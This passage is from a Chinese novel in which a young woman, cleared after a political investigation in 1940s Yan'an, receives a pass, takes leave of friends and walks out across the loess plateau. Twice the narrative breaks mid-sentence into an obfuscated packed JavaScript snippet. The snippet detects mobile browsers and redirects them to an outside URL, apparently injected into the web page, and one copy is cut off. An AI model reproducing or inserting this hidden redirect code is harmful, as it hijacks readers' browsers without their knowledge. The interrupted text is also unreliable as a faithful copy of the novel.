主要就是生活作风问题,未婚先孕,还打胎,这就违法了。 黄菲听了他这样几句话,一瞬间仿佛黑夜之中见到了光明,她抚着胸口重重地喘了几口气,鼓足勇气说道:“首长,我要回去。” “回哪里去?” “回家去。” “回到国民党统治的地方吗?桂林还属于国民政府管辖。” 黄菲摇了摇头,片刻之后又点了点头:“我要回家。” 段锐静静地看着她,过了一会儿说道:“延安的斗争很激烈,可是你以为国民党那边就很美好吗?” 黄菲昏乱的头脑忽然之间有片刻的清醒,残存不多的理智全都在这个时候迸发,她吐字清晰地说:“我知道那边是什么样子,但现在的革命,也不是我想要的。” 段锐暗暗叹了一口气:“年轻人,总是容易冲动,这世上没有完美的革命,一心期待完美,只能一事无成,过空虚的一生。” 这几句话似乎打动了黄菲,她搅动脑浆,仔细思考了一下,然后慢慢地说:“我不会放弃自己,但我要走自己的路。” 段锐又劝了她几句,见她仍然坚持,便说:“你先回去好好休息,认真想一想,过两天回答我。你要想清楚,出延安的路,也不是那么好走的。” 这个黄菲同志,此时的情绪显然正在冲动之中,而且人在极端疲倦的状态下,脾气也不会好,很容易发怒的,让她回去休养一下生息,冷静考虑,或者会有不同的想法。 然后对自己的警卫员说道:“小赵,你送她回去吧。” 看黄菲现在的样子,自己未必走得回去,路上最好有个人照应。 小赵答应了一声,引着黄菲出了窑洞,笑嘻嘻一路把她送了回去,边走还边说着话:“我说黄菲同志,你怎么这么死脑筋?人嘛,谁能不受一点委屈呢?首长已经答应了再调查,你应该很快就可以回去了,为什么还吵着要走?这么不依不饶的。你可该知道,就为了你的事,首长连熬了两个晚上,看你的档案卷宗呢。” 他的话从黄菲耳边飘过,就如同五月的风吹过一般,黄菲虽然听到了,却又仿佛没有听见,不太能够分辨词句之中的含义。 终于回到了自己的窑洞门前,看到那熟悉的门,黄菲的眼泪差一点掉了下来,离开不过半个月,就已经仿佛暌隔了十年,进了门,焦文俊不在,这个时候想来是在机关里,窑洞里面静悄悄的,眼角再一扫,房间里似乎有些空落落,不过黄菲此时也顾不得其她,一头就倒在了炕上,闭起眼睛,几乎是转瞬之间,就起了微微的鼾声。 20.第二十章 离开的与留下的 第二十章 离开的与留下的 黄菲回到住处,不管不顾,昏天黑地一连睡了三天,这才弥补了一些回来,不再感觉随时要崩溃了,这中间焦文俊一直照应她,每天早晚给她打了饭回来,中午黄菲就不吃了,一直蒙头大睡。 到了五月二十二号,礼拜天,黄菲终于恢复了一些力气,这一天中午十一点,和焦文俊一起出去打午饭,焦文俊看着她的脸色,笑着说:“黄菲,你又活过来了啊,度过了这一劫,必有后福。” 黄菲笑了一笑:“我现在只希望,自己能够顺利走出这片黄土地。” 焦文俊一愣:“啊,你还是要走吗?已经放了你回来,过不久应该可以回机关了,就算不能回去,也会另外安排工作,你年轻,又聪明,好好干,不愁没有前途。” 黄菲道:“我已经决定了,如果组织上肯让我离开,我就走。” 焦文俊沉默片刻:“你可要想好,就算给你开路条,能走得出去么?” 黄菲摇摇头:“不管怎么样,我实在不能继续留在这里。” 焦文俊叹了一口气,没有再说什么。 五月二十三号,礼拜一,段锐又找黄菲去谈话,这一位中共高级官员扶了扶架在鼻梁上的眼镜,含笑对她说:“黄菲同志,考虑得怎么样了?青年人,血气盛,受不得委屈,一时气恼,就不顾后果,这样是不好的,凡事都要多想想,再决定,波折过去,就会是光明嘛。交际处你暂时不能回去,去青年部吧。” 小资产阶级的知识分子啊,就是有这样的毛病,身上既有傲气,又带了满满的娇气,半点不肯给人误会的,一点点委屈也不能承受,而且往往自视甚高,以为什么事没了他们不行,动不动就要甩手不干,冷眼旁观,一副等待看好戏的样子,很是任性,这样的人虽然有一定的文化水平,但缺乏坚定的意志,还需要在革命的洪炉里面好好锤炼。 黄菲默默地听他说完,抬起头来,道:“首长,我要离开延安。” 段锐略感愕然,微微皱眉:“你考虑清楚了吗?要付出的代价,你明白吗?” 这么几天时间,睡足了吧,也想清楚了吧,来延安颇费周折,离开延安就容易么?今后的道路难道就此一帆风顺? 黄菲道:“当初我一心要来延安,就知道自己要付出什么。” 抛弃了家庭,离开了亲人和朋友,告别了优裕的生活,奔向心目中的光明,生活条件的困苦早在意料之中,还要面对革命斗争中的种种危险,这些自己都想到的。 段锐定定地看了她片刻,终于说道:“真让人惋惜,历史会证明我们的正确。你既然决定了,我也不阻拦你,延安是一个自由的地方,来去都凭自愿,不会勉强什么人,你一定要走,我让保安处给你办一张护照,向往革命的青年人,来得堂堂正正,走也要光明磊落,不能偷偷摸摸。” 到了这个时候,黄菲一颗心开始融化,满怀真诚的感激,说了一声:“谢谢首长。” 紧跟着又追问一句:“我什么时候可以走?” 段锐本来情绪也有一点上来,正在体味这种感动,听到她后面这一句,立刻回到了现实,微微有一点苦笑:“今天就办,你想要什么时候走,就可以什么时候走,你的那些日记笔记,也都让他们还给你。” 得说作为一个成熟的革命工作者,段锐办事真是相当彻底,十分周密,不但想到了通行证,连当初隔离审查时没收的那些本子,也都提出要还给她,这可是让黄菲大喜过望,本来没想到可以拿回来的,那是三年的时间,自己的心血啊,于是她更加激动,真诚地连声道谢。 就是段锐的这几句话,让她感到在延安还是有温暖的,之前受审时候愤激的感想,一只飞蛾给灯焰吸引,一头栽了进去,结果却发现里面是一团漆黑,是太过绝望偏激。 段锐处理工作是相当有效率的,当天,特区政府保安处就给黄菲办理了离开延安的护照,第二天,她的那些日记本笔记簿也都还了回来。 这中间还有插曲,段锐批了条子,让人去保卫科取黄菲的东西,保卫科的人面对这份手令,犹犹豫豫:“真的要还给她吗?这都是很重要的证据,满是密码,现在还没能完全破译,假如她真的是国民党特务,或者干脆是日本人的间谍,那可怎么办?情报都要给她带过去了,首长对她这么宽大,可能给我们带来危险的。” 小赵于是噘着嘴,带回来保卫科的这几句话,段锐烦恼得拍了一下桌子:“简直神经过敏,疑神疑鬼,她一个年轻的女学生,能当什么特务?不是都已经找人来看了,就是日记和讲义?你再去,和他们说,就说我的话,让马上把东西拿过来,否则我找他们上级。” 小赵于是耷拉着眉毛,转身又出去了,听到背后自家首长还在发火:“真是岂有此理!保卫工作是像他们这么干的?一个个拿着鸡毛当令箭,唯恐天下不乱,是嫌投奔延安的人太多了还是怎么着?黄菲是第一个,但绝不是唯一的一个,等着看吧,再这么搞下去,就是推倒了骨牌,头一个倒下去,之后一连串都要倒的,后面还不知有多少人要走,离心离德啊。” 黄菲要离开的消息,简直如同干旱年景的野火,在延安迅速蔓延,很快便给许多人知道了。 于是她偶尔出门,便能听到议论: “这是既不嫁骑马的首长,也不嫁艺术家的首长,要去嫁满口袋银圆的官长了么?” “手上还戴金表金戒指。” 黄菲听了,只觉得脑子里嗡嗡响,这些人想到的是什么?以为自己是为了贪图生活的安逸,离开延安之后,竟然要作国民党高官的太太,自己在别人眼中,难道竟然堕落至此? 明明都是革命者,看到了女同志,满脑子却也不过是想的这种事,他们谈论革命时的高远情怀都跑去了哪里? 知识分子呢,是酸溜溜,都当他们自己是《三侠五义》里面的颜查散,只是延安的女同志却不是柳金蝉,往往当了那个目光短浅、背信弃义的岳父,嫌贫爱富,才子总是被辜负,而贪图富贵的女人,之后总是要后悔的,因为男子会高中状元,光彩荣耀。 至于英雄们呢,因为是延安的保卫者,所以便对女子有天然的权力,在这种时候,延安的妇女便不再是同志,而只是纯粹的女人,有时候便会听到:“没有我们土包子,你们想安安稳稳在延安吃小米?” 有一次又听到了这些话,黄菲不由得便想到詹妈妈讲过的故事,詹妈妈肚子里有许多故事,她不单爱讲《再生缘》,也爱说仙女报恩,一个凡间的男子,往往是个打柴的,或者是放牛的,救了一只鸟,或者是一条鱼,那鸟或鱼其实是仙女变的,意外受了伤,要么就是给人捉到了,得了活命之后,就变成了美女的样子,嫁给救命恩人作老婆,于是便仿佛由此克服了人间的一个困厄,甚至是全部困厄,再无烦恼,所以当时听故事的时候,人人都欢喜,詹妈妈欢喜,乳姐姐东妹欢喜,黄菲也欢喜。 然而此时,她却不知怎么忽然想到那些故事,陡然间便感到头皮发麻,于是便悠悠地唱起山歌来:“大兄愁,大兄背妹过门楼,过得门楼不见屋,轿子悠悠到桥头,桥头有只路头鸟,我家有个骂人兄,我兄骂娘不嫁妹,嫁得妹来一身轻。” 这样的冷箭,这一年多以来,自己是挨得不少了,哪想到如今明明已经要走了,却依然能听到这般的话,猜测这一个女子是要去当国民党的官太太,从此沉沦到那样一种腐朽堕落的人生之中去。 黄菲坐在窑洞的炕上,看着杯子里的半杯水,刚刚放在桌面上,此时依然在摇晃,不过是半杯水啊,也有这样的不平静,仿佛铜管中看海的表面,这就是杯水波澜。 黄菲要离开了,这一回倒不是好像当初住进医院的时候,那样冷冷落落,有人来看她,张朝旭从前方回来了,带给她一个日本的军用饭盒:“缴获得来的,分了我一个,你如今要走了,带着吧,烧水烧饭都便利。” 黄菲眼望着她,喉咙哽咽,说不出话,当初同来延安的,一路上她都如同大姐姐一般照应自己,本以为会是一辈子的同志,并肩为了新的中国和妇女的解放而贡献全力,然而承诺或许总是为了打破的,如今自己就要背弃了从前的理想,中途离去,辜负了当初共同的誓言,也辜负了朝旭姐,一想到这里,她就分外难过。 张朝旭离开不过一天时间,苗伯就来了,一进门,他便把一袋锅盔塞在黄菲的手里:“小黄啊,听说你要走了,这几个锅盔,你带着路上吃,另外千万带足了水,这一路许多地方都是没水的。” 然后他悄悄地对黄菲说:“这一阵整人是整得厉害啊,没谁能躲过去的,我们这些烧饭的,养猪的,也要检讨。我前几天刚刚检讨完,就说自己对革命还是不够努力,我反正是没什么,要我说什么, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14149550|148989||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 我就说什么,过去了也就罢了,谁也不容易和我为难,像是你们这样喝过墨水的,就不一样,面子上下不来,尤其又是姑娘家,给拉上去批斗,羞耻啊!虽然他们都说你不应该走,不过我是觉着,走了便也罢了吧,未必就一定怎样不好,你是识字的,就是到了外边,想来也能活得下去。” 黄菲呜呜地哭,拉着苗伯的手:“苗伯,我舍不得你!” 苗伯摇了摇头:“唉,天下没有不散的筵席,小黄啊,你路上小心,有狼呢。” 还有一个意想不到的来客,则是陈露云,在窑洞里见到她的面,真是很有些意外,陈露云最擅长趋吉避凶的,但凡感到要倒霉的事情,她都是躲得远远的,这一回自己要离开延安,很是落后的,几乎可说是反动了,在如此白热化的斗争形势之下,不是同路者,就是敌人,中间道路是不会获得承认的,所以这个时候肯来探望自己,可是要冒着很大的政治风险啊,没想到陈露云居然肯来,本来以她以往的性子,应该是避之唯恐不及的。 不过反正自己就要走了,对于这样一个小小的疑问,便也不很在意,黄菲放下正在折叠的衣服,请陈露云坐下喝水。 陈露云把一包东西放在炕桌上,端起水杯,喝了两口,先是说了几句套话:“黄菲,听说你要走了,我真的是很难过,我们再不能在一起了,这一路多有艰难,你一定要留心,好好照顾自己。” 说着连连用眼色瞄着窑洞另一角的焦文俊,焦文俊是个机灵的人,看她这个样子,笑一笑,便站起来推故走开了。 黄菲笑了笑:“谢谢你,露云,我会注意的,你也保重,现在比较敏感些。” 延安这一阵的日子,不容易过啊,连自己一个不谨慎都弄成这样,更何况陈露云,她那种小市民的狡狯习气,是时不时就要冒头出来的,给人家逮到了,可不是玩的。 果然,黄菲这一句话勾起了陈露云许多的情绪,或者她本就是为了倾吐心事而来,此时焦文俊已经出去了,窑洞里没有第三个人,她便拉住了老同学的手,压低了声音,一口气不停顿地说道:“黄菲,和你说,我这一阵过得可憋屈呢,想一想心里就难受。这不是今年年初,我有了爱人,嫁了个老干部么?起初还打算得挺好,想着找了这么个首长,日子多少能过得好一些,哪知道吃饭大家分开来也就罢了,本来也是知道的,哪知我不过是和他要一点津贴来用,不过五百块,他也不肯,居然和我说,要自立,既然女人已经和男人平等了,那么大家各自用各自的,不要想着问男人要钱,简直把我给怄得,我要平等,莫非就是这个平等法么?一天到晚防我哦,简直如同防贼一般,生怕我偷吃了他半块肉,其实我哪里吃得到呢?小鬼每天把饭送过来,简直就差守在那里看着他吃完,然后才把空碗端回去,有时候他在外面吃过了饭,回来不想吃了,小鬼直接就把饭菜端走了,都没人问我一句要不要吃。时常吃饭,他倒是好意提醒的,‘还不快去食堂?饭点要过了’,赶着我去大灶,都不说把他的饭分我一点……” 说到后来,陈露云简直声泪俱下,一把鼻涕一把泪。 黄菲只能解劝:“组织上有规定,要分灶,他就算问你,也是没用。” 陈露云的爱人,是个处长,可以享受中灶的,陈露云的级别,却只是大灶,津贴也少,此外还有小灶,当然更加不是黄菲陈露云这样的层级可以想往的了。 陈露云只觉得愈发委屈:“旁人也就罢了,我是他老婆,都不能和他同桌吃饭,夫妻之间还讲级别,吃不一样的饭,世上哪有这样的道理?” 黄菲只得又劝:“现在是给人封锁,困难时期,等将来新中国建成,就好了。” 陈露云冷笑一声:“只怕到那时又有那时候的说法。如今可惜是封锁了,出去不得,我不是你这么有胆量的人,不想冒那样的风险,否则我也走了,回去上海,总有一碗菜饭吃。” 两个人絮絮地说了好一阵的话,陈露云擤了好几把鼻涕,眼看夜已经很深了,这才告辞离去,临走的时候还叮嘱黄菲:“话说完了也就罢了,你不要同别人讲。” 黄菲:“……我明天就要走了。” 陈露云瞬间释然:“那就好。” 然后眼睛一眨,赶忙补了一句:“我是说,你到了外面,没准能吃好一点,瞧瞧你,瘦得哦。” 黄菲一笑:“借你吉言吧。” 21.第二十一章 暗夜途中 第二十一章 暗夜途中 黄菲到了这个时候,再没有徘徊感伤,迅速做完最后的整理。 日记是一定要带走的,无论路上多难,也不能丢弃,这是宝贵的人生记录,幸好又回到了自己的手中,没有给保卫人员毁掉,否则事后回想,实在太过痛心,“生活的痕迹都不能让我留一点,环境对于我何残酷如斯”。 让她犹豫的是那几本讲义,虽然也都是速记,很节约了纸张,然而一年多的课程,依然是厚厚的几大本,装进包裹里,非常的沉重,短时间背负还可以,但自己要走出这一片黄土高原,几百公里,很是漫长的程途,背着这些东西,可想而知很快就要压得自己喘不过气来,到那时难免还是要丢弃的,白白耗费了之前的体力。 权衡再三,黄菲只能忍痛将那几本珍贵的讲义,留在了延安,她是将它们交给了焦文俊,然而黄菲也知道,最后肯定是会失去的,延安的生活也并不是很安定,日本飞机时不时会来轰炸,况且如今是战争年代,人就如同给风吹着的柳絮,不知什么时候就会飘散,从此长久地分离,在这样的时势之下,焦文俊自然难以一直携带这些沉重的东西,这一点焦文俊自然也是明白的,因此她接过黄菲的讲义,口里就只是散漫地应着。 第二日五月二十七号,礼拜五,黄菲早早地打点好了一切,要带走的物品打成了一个四四方方的包裹,好像一个行军背囊,虽然没有真正去过前线,不过黄菲也懂得打军队里的背包,有棱有角,整整齐齐。 到了这个时候,确定要走了的,背包静静地戳在一旁,黄菲站在土炕边,一条腿抬起来支在炕上,用一条长长的棉布,开始打绑腿,走远路,是需要打绑腿的,一方面减轻水肿,另一方面,走路也可以稍稍轻松些,打绑腿是有方法的,从脚踝开始向上一圈一圈缠绕,绕过一两圈之后,便将绑腿布翻面,以便一直平贴腿面,就这样一直到膝盖之下,不能太松也不能太紧,太松没有用处,太紧难以迈步。 缠好绑腿之后,她最后看了一眼炕里面墙上的毛主席像,画像上的主席在微微地笑着,依然是额头光辉,好像太阳,黄菲向那张印制的图像投去了深深的一瞥,转头便走出了窑洞。 这一天是工作的时间,当黄菲上午启程的时候,窑洞里静悄悄没有人,隔壁胡瑾也到机关里去了,所以便只是她独自离开,无人相送,不过前一天晚上,胡瑾是来了的,握手道别,想着那时彼此说过的话,此刻虽然是孤身上路,黄菲倒也不觉得怎样落寞,她拄着一根又粗又长的木棒,背着背包,腰间挂着饭盒和水袋,沿着延安城外的道路,就走了出去,一路上头也不曾回过一次,可谓来得干脆,走得决绝。 黄菲走在离开延安的路上,那一边胡瑾在机关里埋头算账,过了好一阵,她走出窑洞,看看头顶的日头,已经升得很高,很有点热了,这个时候,黄菲想来已经走出去好一段路。 望着那白亮的阳光,胡瑾微微地眯起眼睛,黄菲离开了,虽然许多人都在批评她,意志不够坚定,对革命的前途不够确信,像她这样放弃进步,退却回黑暗腐朽的生活,将来一定会后悔的,不过胡瑾却以为,其实未必这样糟糕。 到如今革命在自己眼中,已经与当初的面貌不太一样,就比如自己之前舍弃了本来的专业,来到这里当会计,旁人为自己遗憾,自己倒是不觉得太过可惜,因为在延安,自己喜欢的那些乐曲是不为人在意的,甚至可以说,是不能容于延安的,延安需要的是革命,是战斗,而不是空泛的艺术美感,即使是贝多芬,在这里也显得有点“靡靡之音”了,脱离形势,脱离群众,外国的东西是不受欢迎的,除非是苏联的文艺。 苏联的音乐,胡瑾也欣赏过的,并不是不好,只不过单单是这些,不能让自己感觉满足,自己还需要舒伯特、巴赫、李斯特,音乐的世界是这样的丰富,不是单纯的战斗乐曲可以填充的,然而自己的这些想法,胡瑾也知道是不能说出来的,会给人批评“资产阶级情调”。 所以假如要演奏,就只能演奏延安的音乐,也不是不好,只是终究感觉不能完全得以舒展,所以当初在职业与家庭之间,自己抉择得便没有那样艰难,要拉琴,在自家窑洞里也可以拉。 而黄菲是一向给人批“小资产阶级习气”的,以她的个性,离开延安也不一定就是怎样的失误。 黄土路上,黄菲这一天从清晨走到傍晚,大约走了几十公里,一路给保卫机关检查了十几次,好在她有护照,每次都顺利过关,不过岗哨的那种提防戒备的眼神,依然是让她感觉很不舒服,虽然手里拿着盖着印章的通行证,心中仍然忐忑,在延安的土地上,自己已经成了一个外人。 当天晚上,她落脚在一个小村庄,有几十户人口,这里也有妇女组织,妇救会,黄菲很是小心,特意找了妇救会长,借宿在她的家里。 妇救会长夏春荣今年刚刚十九岁,论年纪比黄菲还小一岁,给组织派来这里的,也是借住在老乡家,她的体格非常敦实,面色红润,一眼看去就知道有旺盛的精力,身体非常好,这是很为此时的黄菲所羡慕的。 夏春荣性格非常爽朗,为人很是热情,一见到黄菲手拿边区保安处的护照,立刻便认为她是给党派出去做工作的。 于是她拉着黄菲的手,便说开了:“黄同志,你可是辛苦了,我们在这里虽然苦,毕竟还是边区,还都是自己人,可是你要去那边,都是不知道什么人啊,朋友还是敌人,得时时警惕着,心里累啊!” 白区那可是相当危险,没有一定的水平,难以应付。 黄菲只能微微苦笑:“也没什么,为了黑暗中的一点光明,无论怎样艰难,也要勉力去做。” 夏春荣连连点头:“黄同志,你的觉悟真的很高,我要向你学习。” 黄菲连忙扯开话题,问道:“夏同志,你是哪里人?” 夏春荣笑道:“我是米脂人。” 黄菲道:“米脂是个好地方。” 早就听说米脂的驴板肠,只可惜一直没有机会尝一尝。 夏春荣拍着手哈哈地大声笑起来:“可不是么,我们米脂,出过李闯王的!” 李自成当年就是在这里,召集了饥饿的人们起来造反,推翻明王朝。 然后又说到自己的工作:“现在好很多了,起初真是有点难,开大会都不肯来的,我只好站在碾盘子上大声吆喝,路过的男人们都大瞪着眼睛,盯着我看呢,那些老婆子们也在远处指指点点。” 说着咯咯笑起来,拢了拢鬓边的头发:“要是老家的人看到我这个样子,才更要吃惊呢,我们米脂就有这么个讲究,要是谁家年轻的姑娘对着人说话,也不脸红,也不扭捏,声音还那么亮,半点不怕羞,肯定要给人戳脊梁骨呢,简直不像个姑娘家,难找婆家。可是我担负这个任务,要是羞羞答答,就没法开展工作,所以我索性把脸一抹,什么都不在乎,就那么三下五除二,直接干了起来,说起来也是怪,过了一阵,不但那些姑娘媳妇不说什么了,连老汉小伙子对着我,也都客气三分,好像是第一次看到我这样的女人。” 在这个略显偏僻冷落的小村庄,夏春荣想来也是难得遇到能够说得来的女同志,组织上很少派同志到这边来,所以这一次遇到了黄菲,就有说不完的话,两人躺在炕上,头并着头,就这么一直说到了半夜,夏春荣依然兴致不减,还凑在黄菲旁边不住口地说,黄菲则已经支持不住,几次勉强挑开眼皮,终究太过疲倦,最后在再顾不得耳边的说话声,干脆把眼睛一闭,就那么睡了过去。 第二天日头升得老高,黄菲起床之后,颇觉抱歉地对夏春荣说:“真对不起,我昨天晚上一下子就睡过去了。” 夏春荣哈哈地笑:“没什么的,说起来还是我不好,明知道你赶了一天的路,还硬要拉着你说话,难怪你支撑不住。已经给你烙了饼,还摊了一个鸡蛋,吃了再走吧。” 一听说有摊鸡蛋,黄菲心中瞬间有强烈的感动,鸡蛋在这种时候,实在是太宝贵了,尤其是还用了菜油来煎,油汪汪金灿灿,不必一定吃到嘴里,只是那么看着,心中就有无穷的喜悦与满足,简直贵重如同黄金。 她连连向夏春荣道谢,实在太不容易了,很真挚的感情,于是她吃过了烙饼摊鸡蛋,又往水囊里装满了水,便告别了夏春荣,重又走上了大路。 黄菲在黄土高原一连走了四天,第四天的晚上,因为地理不很熟悉,她错过了住宿的地方,晚间只能露宿荒野,她将背囊放在一棵干瘦的树下,找了一些干草枯枝,在口袋里取出火柴,点着了火,用石块垒起简易的炉灶,便把饭盒放在上面,开始烧水。 火苗旺盛地燃烧,黄菲坐在篝火不远处,背靠着树干,解开了绑腿,平伸了两条 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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回首三年前,一九四零年的六月,自己刚刚与同伴们一起来到延安,那个时候的自己,是多么的有劲头啊,心中满怀强烈的兴奋与激动,正是与谢冰莹一样的。 北伐仿佛是一阵久为人渴盼的狂风,将世间的灰霾都一扫而尽,从此世界不再暗沉,而是变得清爽,原本萎靡的精神,也陡然振作起来,这就是自己的心情,人间实在太过沉闷,让人感到窒息,简直透不过气来,这种时候最盼望的就是出现一场大激荡,大破坏,扫除掉原本的一切,出现一个全新的人间,那样的清澈干净,一尘不染,空气是前所未有的清新,天空是从没有过的明净,那才真正叫做痛快! 然而经过了三年的时间,这许多的纷乱,让自己终于疲倦了,也有一种渺茫失落的情感在心头,经历了那最终的一场大斗争,自己决定离开。 虽然离去的时候斩钉截铁,那时以为除此以外再没有别的选择,也没有其她出路,可是到了这个时候,黄菲心头却蓦地一阵茫然,再过三四天,自己就要走出边区的地界,进入国民政府的辖区,对于那样一个世界,自己本来是熟悉的,只是毕竟暌隔了三年,这三年自己是生活在激进的延安,而不是那个腐败堕落的世界,感觉已经很是生疏,仿佛两个国度,突然间告别了曾经的生活,回归到那样一个环境,自己会怎么样?会有什么样的遭遇呢? 而且,今后的时光,十年,二十年,会证明什么?能够证明自己当下的抉择是正确的吗?或者历史最终会展示给自己看,自己当初很是理直气壮的决定,其实是错误了的,到那时要怎样面对这样的结果呢?是不是真的如同首长们说的,小资产阶级知识分子终究是脆弱的,禁不起考验的,所以才总是在关键的时刻退缩,甚至走上岔路? 距离延安越远,头脑就越能够冷静下来,黄菲想得越来越多,她明白,身体上的痛苦,自己还可以承受,让人感到难以忍受的,是精神上的挫折,那种负疚感和失败感,是火辣辣钻心的痛楚。 各种想法在大脑中缠绕冲突,黄菲心烦意乱,在地上连连翻着身,忽然之间,远远地传来一声狼嚎,非常的凄凉,在夜幕之下缭绕不绝,黄菲的神经霎时绷紧了起来,一只手紧握住木棍,赶快起身往即将熄灭的篝火之中添了一些干草,让那火焰升腾明亮起来,希望它能够驱走暗夜鬼祟危险的眼睛。